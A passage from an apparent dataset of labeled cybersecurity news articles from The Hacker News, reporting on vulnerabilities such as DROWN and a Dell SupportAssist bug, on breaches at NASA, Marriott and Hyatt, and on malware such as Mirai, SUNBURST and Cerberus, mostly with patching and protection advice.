The remote code execution vulnerability, identified as CVE-2019-3719, affects Dell SupportAssist Client versions prior to version 3.2.0.90.

Before publishing the vulnerability details in public, the researcher responsibly reported his findings to the Dell security team, which has now released an update version of the affected software to address the issue.
Besides this issue, Dell has also patched an improper origin validation (CVE-2019-3718) vulnerability in the SupportAssist software that could have allowed an unauthenticated, remote attacker to attempt CSRF attacks on users' systems.

Dell users are advised to either install the updated Dell SupportAssist 3.2.0.90 or later, or simply uninstall the application altogether, if not required, before hackers try to exploit the weaknesses to take full control over their computer systems.

",Vulnerability
DROWN Attack — More than 11 Million OpenSSL HTTPS Websites at Risk,https://thehackernews.com/2016/03/drown-attack-openssl-vulnerability.html,"A new deadly security vulnerability has been discovered in OpenSSL that affects more than 11 Million modern websites and e-mail services protected by an ancient, long deprecated transport layer security protocol, Secure Sockets Layer (SSLv2).

Dubbed DROWN, the highly critical security hole in OpenSSL was disclosed today as a low-cost attack that could decrypt your sensitive, secure HTTPS communications, including passwords and credit card details…

...and that too in a matter of hours or in some cases almost immediately, a team of 15 security researchers from various universities and the infosec community warned Tuesday.

Here's what the security researchers said:
""We've been able to execute the attack against OpenSSL versions that are vulnerable to CVE-2016-0703 in under a minute using a single PC. Even for servers that do not have these particular bugs, the general variant of the attack, which works against any SSLv2 server, can be conducted in under 8 hours at a total cost of $440.""

What is DROWN Attack? How it Abuses SSLv2 to attack TLS?

DROWN stands for ""Decrypting RSA with Obsolete and Weakened eNcryption.""

DROWN is a cross-protocol attack that uses weaknesses in the SSLv2 implementation against transport layer security (TLS), and that can ""decrypt passively collected TLS sessions from up-to-date clients.""

While latest versions don't allow SSLv2 connections by default, administrators sometimes, unintentionally override those settings in an attempt to optimize applications.
""You're just as much at risk if your site's certificate or key is used anywhere else on a server that does support SSLv2,"" security researchers noted. ""Common examples include SMTP, IMAP, and POP mail servers, and secondary HTTPS servers used for specific web applications.""
DROWN attack could allow an attacker to decrypt HTTPS connections by sending specially crafted malicious packets to a server or if the certificate is shared on another server, potentially performing a successful Man-in-the-Middle (MitM) attack.

How Deadly is OpenSSL DROWN Attack?
More than 33 percent of all HTTPS servers are vulnerable to DROWN attack.

Although the critical flaw affects as many as 11.5 Million servers worldwide, some of Alexa's top websites, including Yahoo, Alibaba, Weibo, Sina, BuzzFeed, Flickr, StumbleUpon, 4Shared and Samsung, are vulnerable to DROWN-based MitM attacks.

Besides the open-source OpenSSL, Microsoft's Internet Information Services (IIS) versions 7 and earlier, as well as prior to 3.13 versions of the Network Security Services (NSS) Cryptographic library built into many server products are also open to DROWN attack.

How to Test DROWN OpenSSL Vulnerability?

You can find out if your website is vulnerable to this critical security hole using the DROWN attack test site.

However, the good news is that academic researchers uncovered the DROWN security hole and a patch for the vulnerability has already been made available with an OpenSSL update today.

The Bad news is that the DROWN attack can conduct just under a minute to exploit and now that the bug has been disclosed, it may be actively used by hackers to attack servers.

Here's How to Protect Yourself:

OpenSSL 1.0.2 users are strongly advised to upgrade to OpenSSL 1.0.2g and OpenSSL 1.0.1 users are recommended to upgrade to OpenSSL 1.0.1s. And if you are using another version of OpenSSL for security, you should move up to the newer versions 1.0.2g or 1.0.1s.

In order to protect yourself against the DROWN attack, you should ensure SSLv2 is disabled, as well as make sure that the private key isn't shared across any other servers.

Those already vulnerable to DROWN attack do not need to re-issue certificates but are recommended to take action in order to prevent the attack immediately.

SSLv2 dates back to the 1990s-era and is enabled accidentally or automatically while setting up a new server, which makes DROWN attacks work. It's due to the support of weak ciphers that were added to all versions of SSL and TLS prior to 2000 as part of United States government's export regulations.

In fact, ""secure"" servers can also be hacked because they are on the same network as vulnerable servers. By using the Bleichenbacher attack, private RSA keys can be decrypted, which results in unlocking ""secure"" servers that use the same private key.

You can find more technical details and a list of the top vulnerable websites on the DROWN Attack website.

In addition, Matthew Green, a professor at Johns Hopkins University and famous cryptographer, has also published a blog post explaining how DROWN works.

",Vulnerability
Mayday! NASA Warns Employees of Personal Information Breach,https://thehackernews.com/2018/12/nasa-hack-data-breach.html,"Another day, another data breach. This time it's the United States National Aeronautics and Space Administration (NASA)

NASA today confirmed a data breach that may have compromised personal information of some of its current and former employees after at least one of the agency's servers was hacked.

In an internal memo sent to all employees on Tuesday, NASA said the unknown hackers managed to gain access to one of its servers storing the personally identifiable information (PII), including social security numbers, of current and former employees.

The agency said NASA discovered the breach on October 23 when its cybersecurity personnel began investigating a possible breach of two of its servers holding employee records.

After discovering the intrusion, NASA has since secured its servers and informed that the agency is working with its federal cybersecurity partners ""to examine the servers to determine the scope of the potential data exfiltration and identify potentially affected individuals."" However, NASA said this process ""will take time.""

It should be noted that no space missions were jeopardized by the cyber incident, the agency said.

According to the agency, any NASA Civil Service employee who joined, left, or transferred within the agency from July 2006 to October 2018 may have had their personal data compromised. NASA currently employs roughly 17,300 people.

The agency said all the affected employees would be notified once identified, and offered identity theft protection services and related resources to all affected employees, past and present.

""Our entire leadership team takes the protection of personal information very seriously. Information security remains a top priority for NASA,"" said Bob Gibbs, assistant administrator at NASA's Office of the Chief Human Capital Officer.

""NASA is continuing its efforts to secure all servers, and is reviewing its processes and procedures to ensure that the latest security practices are being followed throughout the agency.""

This is not the first time when the agency's servers have been compromised. NASA suffered a massive security breach in 2016 when a hacking group released 276GB of sensitive data including flight logs and credentials of thousands of its employees.

At that time, the hackers even attempted to crash a $222 million drone into the Pacific Ocean by gaining control over the drone by rerouting the flight path.

",Data_Breaches
Hundreds of High-Profile Twitter Accounts Hacked through 3rd-Party App,https://thehackernews.com/2017/03/twitter-account-hack.html,"In a large-scale Twitter hack, thousands of Twitter accounts from media outlets to celebrities, including the European Parliament, Forbes, BlockChain, Amnesty International, UNICEF, Nike Spain and numerous other individuals and organizations, were compromised early Wednesday.

The compromised Twitter accounts is pushing a disturbing spam message written in Turkish comparing the Dutch to the Nazis, with Swastikas and a ""#NaziHollanda"" or ""#Nazialmanya"" (Nazi Germany) hashtag, and changed some of the victims' profile pictures to an image of the Turkish flag and Ottoman Empire coat of arms.

In addition to the message, the hackers are also posting a link to a YouTube video and the Twitter account Sebo.

According to the latest reports, this weird Twitter activity on numerous high-profile accounts is the result of a vulnerability in the third-party app called Twitter Counter.

Twitter Counter is a social media analytics service that helps Twitter users to track their stats and also offers a variety of widgets and buttons.
""We're aware that our service was hacked and have started an investigation into the matter. We've already taken measures to contain such abuse"", Twitter Counter said on Twitter.
However, the company has made it very clear that no ""Twitter account credentials (passwords)"" or ""credit card information"" has been compromised, as the company does not store this information on users.
TIP — Revoke TwitterCounter app permissions immediately to protect your Twitter Account from being hacked.
CLICK TO TWEET
Twitter Counter is actively working on fixing the issue over its end.
""Assuming this abuse is indeed done using our system, we've blocked all ability to post tweets and changed our Twitter app key,"" the company said on Twitter.
Although many of the compromised Twitter accounts have seemed to have taken back control from hackers, the embarrassed tweets are still visible on many compromised accounts.

Forbes appears to have regained access to their Twitter accounts, but are still in the process of getting fully restored. For instance, Forbes Twitter account has an egg avatar, at the time of writing.

How To Protect Your Twitter Account
Since the attack appears to be coming through a vulnerability in the third-party app, users are advised to revoke permission to this app, as well as other unnecessary third party apps.

If you have ever used Twitter Counter, you should:

Go to ""Settings and Privacy.""
Click on the ""Apps"" section.
Revoke the third-party access to Twitter Counter.
Remove old apps that are no longer in use or ones you don't recognise.

Also, if you haven't yet, you are strongly advised to enable two-factor authentication on your account via the account settings section of Twitter. This will help you protect your accounts against password attacks in the future.

Besides enabling 2FA, always choose a strong password for your accounts. If you are unable to create and remember different passwords for each site, you can use a good password manager.

",Cyber_Attack
Thousands of websites based on Ruby on Rails vulnerable to Cookie Handling flaw,https://thehackernews.com/2013/11/thousands-of-websites-based-on-ruby-on_29.html,"Ruby on Rails contains a flaw in its design that may allow attackers to more easily access applications. Websites that rely on Ruby on Rails's default cookie storage mechanism CookieStore are at risk.

The vulnerability was actually reported two months ago, but still thousands of website are running a vulnerable version of Ruby on Rails that allows a malicious attacker to gain unauthorized access again and again without password, if someone manages to steal users' cookies via via cross site scripting or session sidejacking or with physical access.
More than 10,000 websites are vulnerable to Ruby on Rails's cookie storage mechanism flaw, but this vulnerability requires your user's session cookies to be compromised in the first place.

Security researcher G.S. McNamara provided the details of the vulnerability in a blog post , he analyzed nearly 90,000 sites running specialized scripts and discovered 1,897 sites based on old versions of Ruby on Rails (version 2.0 to version 4.0) that stores users' cookie data in plain text.

Another concerning issues related to the site analyzed is the lack, or wrong use, for SSL that allows communication eavesdropping.
The surprising fact that large companies such as crowdsourcing site Kickstarter.com, Paper.li, Simfy, Ask.fm and Audioboo, Warner Bros. are also vulnerable to this flaw.

Ruby on Rails implemented cookies encryption by default from version 4.0. The purpose of an encrypted, signed cookie is to make sure someone can't forge a cookie to impersonate someone else, but the cookie management still exposes users at risk of attacks.

""Version 4.0 and beyond still have this problem,"" ""The attacker could save the encrypted cookie and send it to the server to log in as the victim without having to read the contents of the cookie.""
""The encryption does not protect against reusing the cookie after logout,"" wrote McNamara.

This means that despite cookies are encrypted hacker could steal them to log-in to target vulnerable website that permit an attacker to reuse old session credentials or session IDs for the authorization process. The flaw is known as ""Insufficient Session Expiration"" and it is a serious issue for website management.

""Many of the websites and tools we use to store the session hash on the client side, including the applications Redmine, Zendesk, and Spiceworks.""

How to discover is a website is using an older version of Ruby on Rails using CookieStore cookie-based storage mechanism?

According McNamara it is quite simple, an attacker simply has to search for the string ""Bah7"" at the beginning of the value of the cookies, A SHODAN search for this code will reveal tens of thousands of these vulnerable websites.

Leaking your cookies equals to giving people a temporary password to your accounts. NcNamara already requested to Rails developers to switch to a different cookie storage mechanism to fix the vulnerability, storing for example session information on the server side.

",Vulnerability
New Evidence Suggests SolarWinds' Codebase Was Hacked to Inject Backdoor,https://thehackernews.com/2020/12/new-evidence-suggests-solarwinds.html,"The investigation into how the attackers managed to compromise SolarWinds' internal network and poison the company's software updates is still underway, but we may be one step closer to understanding what appears to be a very meticulously planned and highly-sophisticated supply chain attack.
A new report published by ReversingLabs today and shared in advance with The Hacker News has revealed that the operators behind the espionage campaign likely managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the malicious backdoor through its software release process.
""The source code of the affected library was directly modified to include malicious backdoor code, which was compiled, signed, and delivered through the existing software patch release management system,"" ReversingLabs' Tomislav Pericin said.
Cybersecurity firm FireEye earlier this week detailed how multiple SolarWinds Orion software updates, released between March and June 2020, were injected with backdoor code (""SolarWinds.Orion.Core.BusinessLayer.dll"" or SUNBURST) to conduct surveillance and execute arbitrary commands on target systems.
FireEye has not so far publicly attributed the attack to any specific nation-state actor, but multiple media reports have pinned the intrusion campaign on APT29 (aka Cozy Bear), a hacker group associated with Russia's foreign intelligence service.
Sneaky Injection of Malicious Code
Although the first version containing the tainted Orion software was traced to 2019.4.5200.9083, ReversingLabs has found that an earlier version 2019.4.5200.8890, released in October 2019, also included seemingly harmless modifications that acted as the stepping stone for delivering the real attack payload down the line.
Empty .NET class prior to backdoor code addition [ver. 2019.4.5200.8890]
The idea, according to Pericin, was to compromise the build system, quietly inject their own code in the source code of the software, wait for the company to compile, sign packages and at last, verify if their modifications show up in the newly released updates as expected.
Once confirmed, the adversary then took steps to blend the SUNBURST malware with the rest of the codebase by mimicking existing functions (GetOrCreateUserID) but adding their own implementations so as to remain stealthy and invoking them by modifying a separate class called ""InventoryManager"" to create a new thread that runs the backdoor.
What's more, malicious strings were obscured using a combination of compression and Base64 encoding in hopes that doing so would thwart YARA rules from spotting anomalies in the code as well as slip through undetected during a software developer review.
""The attackers went through a lot of trouble to ensure that their code looks like it belongs within the code base,"" Pericin said. ""That was certainly done to hide the code from the audit by the software developers.""
How did the Compromise Happen?
This implies that not only did the attackers have a high degree of familiarity with the software, but also the fact that its existing software release management system itself was compromised — as the class in question was modified at the source code level to build a new software update containing the backdoored library, then signed, and ultimately released to the customers.
This also raises more questions than it answers in that a change of this magnitude could only have been possible if either the version control system was compromised or the trojanized software was placed directly on the build machine.
While it's not immediately clear how the attackers got access to the code base, security researcher Vinoth Kumar's disclosure about SolarWinds' update server being accessible with the password ""solarwinds123"" assumes new significance given the overlap in timelines.
Kumar, in a tweet on December 14, said he notified the company of a publicly accessible GitHub repository that was leaking the FTP credentials of the company's download website in plaintext, adding a hacker could use the credentials to upload a malicious executable and add it to a SolarWinds update.
""That Github repo was open to the public since June 17 2018,"" Kumar said, before the misconfiguration was addressed on November 22, 2019.
""SUNBURST illustrates the next generation of compromises that thrive on access, sophistication and patience,"" Pericin concluded. ""For companies that operate valuable businesses or produce software critical to their customers, inspecting software and monitoring updates for signs of tampering, malicious or unwanted additions must be part of the risk management process.""
""Hiding in plain sight behind a globally known software brand or a trusted business-critical process, gives this method access that a phishing campaign could only dream to achieve,"" he added.
Over 4,000 Sub-domains Compromised by SUNBURST
SolarWinds said up to 18,000 of its customers may have been impacted by the supply chain attack while urging Orion platform users to update the software to version 2020.2.1 HF 2 as soon as possible to secure their environments.
According to security researcher R. Bansal (@0xrb), over 4,000 sub-domains belonging to prominent businesses and educational institutions were infected with the SUNBURST backdoor, including those of Intel, NVIDIA, Kent State University, and Iowa State University.
To make matters worse, malicious code added to an Orion software update may have gone unnoticed by antivirus software and other security tools on targeted systems owing to SolarWinds' own support advisory, which states its products may not work properly unless their file directories are exempted from antivirus scans and group policy object (GPO) restrictions.
""Prolific actors are constantly going after high-revenue customers like SolarWinds because they see an increased chance of making larger profits by selling access to ransomware partners and other buyers,"" cybersecurity firm Intel 471 said, responding to the possibility that criminals were selling access to the company's networks on underground forums.
""Whether it's by exploiting vulnerabilities, launching spam campaigns or leveraging credential abuse, access is typically advertised and auctioned to the highest bidder for a profit. Whether this was the motivation for the current SolarWinds incident remains to be seen.""

",Cyber_Attack
Mirai Variant Adds Dozen New Exploits to Target Enterprise IoT Devices,https://thehackernews.com/2019/03/mirai-botnet-enterprise-security.html,"Security researchers have uncovered a new variant of the infamous Mirai Internet of Things botnet, this time targeting embedded devices intended for use within business environments in an attempt to gain control over larger bandwidth to carry out devastating DDoS attacks.

Although the original creators of Mirai botnet have already been arrested and jailed, variants of the infamous IoT malware, including Satori and Okiru, keep emerging due to the availability of its source code on the Internet since 2016.

First emerged in 2016, Mirai is well known IoT botnet malware that has the ability to infect routers, and security cameras, DVRs, and other smart devices—which typically use default credentials and run outdated versions of Linux—and enslaves the compromised devices to form a botnet, which is then used to conduct DDoS attacks.

New Mirai Variant Targets Enterprise IoT Devices

Now, Palo Alto Network Unit 42 researchers have spotted the newest variant of Mirai that's for the first time targeting enterprise-focused devices, including WePresent WiPG-1000 Wireless Presentation systems and LG Supersign TVs.

The Mirai variant adds 11 new exploits to its ""multi-exploit battery,"" making it a total of 27 exploits, as well as a new set of ""unusual default credentials"" to use in brute force attacks against Internet-connected devices.

""These new features afford the botnet a large attack surface,"" Unit 42 researchers reported in a blog post published Monday. ""In particular, targeting enterprise links also grants it access to larger bandwidth, ultimately resulting in greater firepower for the botnet for DDoS attacks.""

While a remote code execution exploit for LG Supersign TVs (CVE-2018-17173) was made available in September last year, attack code exploiting a command-injection vulnerability in the WePresent WiPG-1000 was published in 2017.

Besides these two exploits, the new Mirai variant is also targeting various embedded hardware like:

Linksys routers
ZTE routers
DLink routers
Network Storage Devices
NVRs and IP cameras

After scanning and identifying vulnerable devices, the malware fetches the new Mirai payload from a compromised website and downloads it on a target device, which is then added to the botnet network and eventually can be used to launch HTTP Flood DDoS attacks.

Mirai is the infamous botnet that was responsible for some of the record-breaking DDoS attacks, including those against France-based hosting provider OVH and Dyn DNS service that crippled some of the world's biggest sites, including Twitter, Netflix, Amazon, and Spotify.

Mirai-based attacks experienced sudden rise after someone publicly released its source code in October 2016, allowing attackers to upgrade the malware threat with newly disclosed exploits according to their needs and targets.

""These [new] developments underscore the importance for enterprises to be aware of the IoT devices on their network, change default passwords, ensure that devices are fully up-to-date on patches,"" researchers said.

""And in the case of devices that cannot be patched, to remove those devices from the network as a last resort.""

So the takeaway? Make sure you change the default passwords for your internet-connected devices as soon as you bring them home or in office, and always keep them fully updated with new security patches.

",Cyber_Attack
Hyatt Hotel Says Payment Systems Hacked with Credit-Card Stealing Malware,https://thehackernews.com/2015/12/hyatt-hotel-hack.html,"Hyatt Hotels Corporation is notifying its customers that credit card numbers and other sensitive information may have been stolen after it found malware on the computers that process customer payments.
""We recently identified malware on computers that operate the payment processing systems for Hyatt-managed locations,"" the company announced on Wednesday. ""As soon as we discovered the activity, we launched an investigation and engaged leading third-party cyber security experts.""
What type of information?
The company didn't confirm whether the attackers succeeded in stealing payment card numbers, neither it say how long its network was infected or how many hotel chains were affected in the malware attack.

But as the payment processing system was infected with credit-card-stealing malware, there is a possibility that hackers may have stolen credit card numbers and other sensitive information.

What happened?
Hyatt spokeswoman Stephanie Sheppard said the company discovered malware on 30 November but did not justify why the company waited over three weeks to report the incident.

How many victims?
The company didn't confirm how many clients could have been affected in the malware attack. However, the world's leading hospitality corporation, headquartered in Chicago, owns a portfolio of 627 properties in 52 countries.

What was the response?
Hyatt said it had launched an investigation and hired leading third-party cyber security experts to help investigate the malware threat, as well as taken necessary steps to increase security on its computer systems.

What Hyatt customers should do?
Meanwhile, the company has also advised all its customers to review their payment card statements carefully and to report any unauthorized bank transactions.

Moreover, the company reassured its customers that ""customers can feel confident using payment cards at Hyatt hotels worldwide.""

Hyatt became the latest hotel chain to report a potential customer data breach this year, following the data breach in other hotel chains, including Hilton, Starwood, Mandarin Oriental, White Lodging and the Trump Collection that acknowledged finding malware in their payment systems.

",Data_Breaches
500 Million Marriott Guest Records Stolen in Starwood Data Breach,https://thehackernews.com/2018/11/marriott-starwood-data-breach.html,"The world's biggest hotel chain Marriott International today disclosed that unknown hackers compromised guest reservation database its subsidiary Starwood hotels and walked away with personal details of about 500 million guests.

Starwood Hotels and Resorts Worldwide was acquired by Marriott International for $13 billion in 2016. The brand includes St. Regis, Sheraton Hotels & Resorts, W Hotels, Westin Hotels & Resorts, Aloft Hotels, Tribute Portfolio, Element Hotels, Le Méridien Hotels & Resorts, The Luxury Collection, Four Points by Sheraton and Design Hotels.

The incident is believed to be one of the largest data breaches in history, behind 2016 Yahoo hacking in which nearly 3 billion user accounts were stolen.

The breach of Starwood properties has been happening since 2014 after an ""unauthorized party"" managed to gain unauthorized access to the Starwood's guest reservation database, and had copied and encrypted the information.

Marriott discovered the breach on September 8 this year after it received an alert from an internal security tool ""regarding an attempt to access the Starwood guest reservation database in the United States.""

On November 19, the investigation into the incident revealed that there was unauthorized access to the database, containing ""guest information relating to reservations at Starwood properties on or before September 10, 2018.""

The stolen hotel database contains sensitive personal information of nearly 327 million guests, including their names, mailing addresses, phone numbers, email addresses, passport numbers, dates of birth, genders, arrival and departure information, reservation date, and communication preferences.

What's worrisome? For some users, stolen data also includes payment card numbers and payment card expiration dates.

But, according to Marriott, ""the payment card numbers were encrypted using Advanced Encryption Standard encryption (AES-128)."" Attackers need two components to decrypt the payment card numbers, and ""at this point, Marriott has not been able to rule out the possibility that both were taken.""
""The company has not finished identifying duplicate information in the database, but believes it contains information on up to approximately 500 million guests who made a reservation at a Starwood property,"" the company said in a statement.
Marriott confirmed that its investigation into the incident only identified unauthorized access to the separate Starwood network and not the Marriott network. It has also begun informing potentially impacted customers of the security incident.

The hotel company has begun notifying regulatory authorities and also informed law enforcement of the incident and continues to support their investigation.

Since the data breach falls under European Union's General Data Protection Regulation (GDPR) rules, Marriott could face a maximum fine of 17 million pounds or 4 percent of its annual global revenue, whichever is higher, if found breaking any of these rules.

",Data_Breaches
Frankenstein Malware turning legitimate software into invisible malware,https://thehackernews.com/2012/08/frankenstein-malware-turning-legitimate.html,"Many malware and viruses can be identified by detection software because of known bits of malicious code. But what if there was a virus compiled from little bits of programs you already had installed? That's just what two security researchers are looking into.


Frankenstein or The Modern Prometheus is a classic story in which a doctor creates life through technology in the form of a creature assembled from the parts of dead men. While this biological idea exists only in fiction, researchers have recently used it to craft a very ingenious piece of malware.

Vishwath Mohan and Kevin Hamlen at the University of Texas at Dallas are interested in how malware disguises itself in order to propagate more widely. In Windows Explorer alone, Frankenstein found nearly 90,000 gadgets in just over 40 seconds, which means that malware created by the system would have a huge number of possible variations, work quickly, and be very difficult to detect.

Frankenstein follows pre-written blueprints that specify certain tasks - such as copying pieces of data - and swaps in gadgets capable of performing those tasks. Such swaps repeat each time Frankenstein infects a new computer, but with different gadgets, meaning that the malware always looks different to antivirus software, even if its ultimate effects are the same.

Malware authors and security experts have tried different ways to camouflage malicious code, like encrypting it or adding garbage data to confuse the scanners. As they remark in the paper describing their work ""The results show that even with the limited capacity of our prototype, 2–3 binaries are sufficient to bring the number of gadgets above 100,000. On average we discovered about 46 gadgets per KB of code, finding approximately 2338 gadgets per second.""

The research was presented at the USENIX Workshop on Offensive Technologies earlier this month and highlights the need for a new approach for virus detection software, one that is able to find malware that morphs and is disguised in the trappings of legitimate code. The US Air Force partially funded the project, the findings of which may be used to influence future state-sponsored cyber attacks.

",Malware
"Saudi Aramco Oil Producer's 30,000 workstations victim of Cyber Attack",https://thehackernews.com/2012/08/saudi-aramco-oil-producers-30000.html,"Saudi Aramco, the world's biggest oil producer, has resumed operating its main internal computer networks after a virus infected about 30,000 of its workstations in mid-August.

Immediately after the Aug. 15 attack, the company announced it had cut off its electronic systems from outside access to prevent further attacks. Saudi Aramco said the virus ""originated from external sources"" and that its investigation into the matter was ongoing. There was no mention of whether this was related to this month's Shamoon attacks.

""The disruption was suspected to be the result of a virus that had infected personal workstations without affecting the primary components of the network,"" Saudi Aramco said over Facebook.

""We would like to emphasize and assure our stakeholders, customers and partners that our core businesses of oil and gas exploration, production and distribution from the wellhead to the distribution network were unaffected and are functioning as reliably as ever,"" Saudi Aramco's chief executive, Khalid al-Falih, said in a statement.

However, one of Saudi Aramco's websites which was taken offline after the attack - www.aramco.com - remained down yesterday. E-mails sent by Reuters to people within the company continued to bounce back.

Supposed hacktivists have claimed the hit on the oil giant, saying they would hit the company again tomorrow. The group said it was ""fed up of crimes and atrocities taking place in various countries around the world"", in a post on Pastebin. They said they were targeting the House of Saud, the ruling royal family of Saudi Arabia, and targeted Aramco as it was ""the largest financial source for Al-Saud regime"".

The group, calling itself the 'Cutting Sword of Justice', claimed to have hacked Aramco systems in several countries before sending a virus across 30,000 computers achieving a 75 percent infection rate of all the company's systems. It refuted suggestions that a nation state was behind the attack.

Symantec, one of the world's largest internet security companies, said on the day after the Saudi Aramco attack that it had discovered a new virus that was targeting at least one organisation in the global energy sector, although it did not name that organisation.

""It is a destructive malware that corrupts files on a compromised computer and overwrites the MBR (Master Boot Record) in an effort to render a computer unusable,"" Symantec said in a blog posting about the virus, which it called W32.Disttrack. ""Threats with such destructive payloads are unusual and are not typical of targeted attacks.""

Saudi Aramco's al-Falih said in his statement yesterday: ""Saudi Aramco is not the only company that became a target for such attempts, and this was not the first nor will it be the last illegal attempt to intrude into our systems, and we will ensure that we will further reinforce our systems with all available means to protect against a recurrence of this type of cyber attack.""

",Malware
Qualys and Malware Analyser - Online malware scanning engine !,https://thehackernews.com/2011/05/qualys-and-malware-analyser-online.html,"Qualys and Malware Analyser - Online malware scanning engine !

Qualys and Malware Analyser (Author : Beenu Arora), recently came into an agreement which will allow Qualys to use Malware Analyser tool on its online malware scanning engine. This would enable the users to perform more comprehensive scans on malicious executables.

According to sources, the author shared the tool's source code only after signing NDA with the firm.

Qualys® (www.qualys.com) headquartered in Redwood Shores is the leading provider of on demand IT security risk and compliance management solutions — delivered as a service.

Malware analyser is a freeware tool for analysing malwares written in Python. The tool was initially open-source tool way back in 2009 but recently in 2010-11 the author has made some significant improvement in its core engine which has made it one of best static analysis tool.

The tool can perform static and dynamic analysis and author has intentions to include the process analysis too coming future.

The tool can be downloaded from www.malwareanalyser.com .

",Malware
Chinese APT Hackers Target Southeast Asian Government Institutions,https://thehackernews.com/2020/11/chinese-apt-hackers-target-southeast.html,"Cybersecurity researchers today unveiled a complex and targeted espionage attack on potential government sector victims in South East Asia that they believe was carried out by a sophisticated Chinese APT group at least since 2018.
""The attack has a complex and complete arsenal of droppers, backdoors and other tools involving Chinoxy backdoor, PcShare RAT and FunnyDream backdoor binaries, with forensic artefacts pointing towards a sophisticated Chinese actor,"" Bitdefender said in a new analysis shared with The Hacker News.
It's worth noting that the FunnyDream campaign has been previously linked to high-profile government entities in Malaysia, Taiwan, and the Philippines, with a majority of victims located in Vietnam.
According to the researchers, not only around 200 machines exhibited attack indicators associated with the campaign, evidence points to the fact the threat actor may have compromised domain controllers on the victim's network, allowing them to move laterally and potentially gain control of other systems.
The research has yielded little to no clues as to how the infection happened, although it's suspected that the attackers employed social engineering lures to trick unwitting users into opening malicious files.
Upon gaining an initial foothold, multiple tools were found to be deployed on the infected system, including the Chinoxy backdoor to gain persistence as well as a Chinese remote access Trojan (RAT) called PcShare, a modified variant of the same tool available on GitHub.
Besides using command-line utilities such as tasklist.exe, ipconfig.exe, systeminfo.exe, and netstat to gather system information, a number of others — ccf32, FilePak, FilePakMonitor, ScreenCap, Keyrecord, and TcpBridge — were installed to collect files, capture screenshots, logging keystrokes, and exfiltrate the collected information to an attacker-controlled server.
The investigation also uncovered the use of the aforementioned FunnyDream backdoor starting in May 2019, which comes with multiple capabilities to amass user data, clean traces of malware deployment, thwart detection and execute malicious commands, the results of which were transmitted back to command-and-control (C&C) servers situated in Hong Kong, China, South Korea, and Vietnam.
""Attributing APT style attacks to a particular group or country can be extremely difficult, mostly because forensic artefacts can sometimes be planted intentionally, C&C infrastructure can reside anywhere in the world, and the tools used can be repurposed from other APT groups,"" the researchers concluded.
""During this analysis, some forensic artifacts seem to suggest a Chinese-speaking APT group, as some of the resources found in several binaries had a language set to Chinese, and the Chinoxy backdoor used during the campaign is a Trojan known to have been used by Chinese-speaking threat actors.""

",Malware
Cerberus: A New Android 'Banking Malware For Rent' Emerges,https://thehackernews.com/2019/08/cerberus-android-banking-trojan.html,"After a few popular Android Trojans like Anubis, Red Alert 2.0, GM bot, and Exobot, quit their malware-as-a-service businesses, a new player has emerged on the Internet with similar capabilities to fill the gap, offering Android bot rental service to the masses.

Dubbed ""Cerberus,"" the new remote access Trojan allows remote attackers to take total control over the infected Android devices and also comes with banking Trojan capabilities like the use of overlay attacks, SMS control, and contact list harvesting.

According to the author of this malware, who is surprisingly social on Twitter and mocks security researchers and antivirus industry openly, Cerberus has been coded from scratch and doesn't re-use any code from other existing banking Trojans.

The author also claimed to be using the Trojan for private operations for at least two years before renting it out for anyone interested from the past two months at $2000 for 1 month usage, $7000 for 6 months and up to $12,000 for 12 months.

Cerberus Banking Trojan: Features


According to security researchers at ThreatFabric who analyzed a sample of Cerberus Trojan, the malware has a pretty common list of features, like:

taking screenshots
recording audio
recording keylogs
sending, receiving, and deleting SMSes,
stealing contact lists
forwarding calls
collecting device information
Tracking device location
stealing account credentials,
disabling Play Protect
downloading additional apps and payloads
removing apps from the infected device
pushing notifications
locking device's screen

Once infected, Cerberus first hides its icon from the application drawer and then asks for the accessibility permission by masquerading itself as Flash Player Service. If granted, the malware automatically registers the compromised device to its command-and-control server, allowing the buyer/attacker to control the device remotely.

To steal users' credit card numbers, banking credentials and passwords for other online accounts, Cerberus lets attackers launch screen overlay attacks from its remote dashboard.

In screen overlay attack, the Trojan displays an overlay on top of legitimate mobile banking apps and tricks Android users into entering their banking credentials into the fake login screen, just like a phishing attack.

""The bot abuses the accessibility service privilege to obtain the package name of the foreground application and determine whether or not to show a phishing overlay window,"" the researchers said.

According to researchers, Cerberus already contains overlay attack templates for a total of 30 unique targets, including:

7 French banking apps
7 U.S. banking apps
1 Japanese banking app
15 non-banking apps

Cerberus Uses Motion-based Evasion Tactic

Cerberus also uses some interesting techniques to evade detection from antivirus solutions and prevent its analysis, like using the device accelerometer sensor to measure movements of the victim.

The idea is straightforward—as a user moves, their Android device usually generates some amount of motion sensor data. The malware monitors the user's steps through the device motion sensor to check if it is running on a real Android device.

""The Trojan uses this counter to activate the bot—if aforementioned step counter hits the pre-configured threshold it considers running on the device to be safe,"" the researchers explain.

""This simple measure prevents the Trojan from running and being analyzed in dynamic analysis environments (sandboxes) and on the test devices of malware analysts.""

If the user's device lacks sensor data, the malware assumes that the sandbox for scanning malware is an emulator with no motion sensors and will not run the malicious code.

However, this technique is also not unique and has previously been implemented by the popular Android banking Trojan 'Anubis'.

It should be noted that Cerberus malware does not exploit any vulnerability to get automatically installed on a targeted device in the first place. Instead, the malware installation relies on social engineering tactics.

Therefore, to protect yourself from becoming victims to such malware threats, you are recommended to be careful what you download on your phone and definitely think thrice before side-loading stuff as well.

",Malware
Top 30 Critical Security Vulnerabilities Most Exploited by Hackers,https://thehackernews.com/2021/07/top-30-critical-security.html,"Intelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.
""Cyber actors continue to exploit publicly known—and often dated—software vulnerabilities against broad target sets, including public and private sector organizations worldwide,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) noted.
""However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.""
The top 30 vulnerabilities span a wide range of software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.
The most routinely exploited flaws in 2020 are as follows -
CVE-2019-19781 (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability
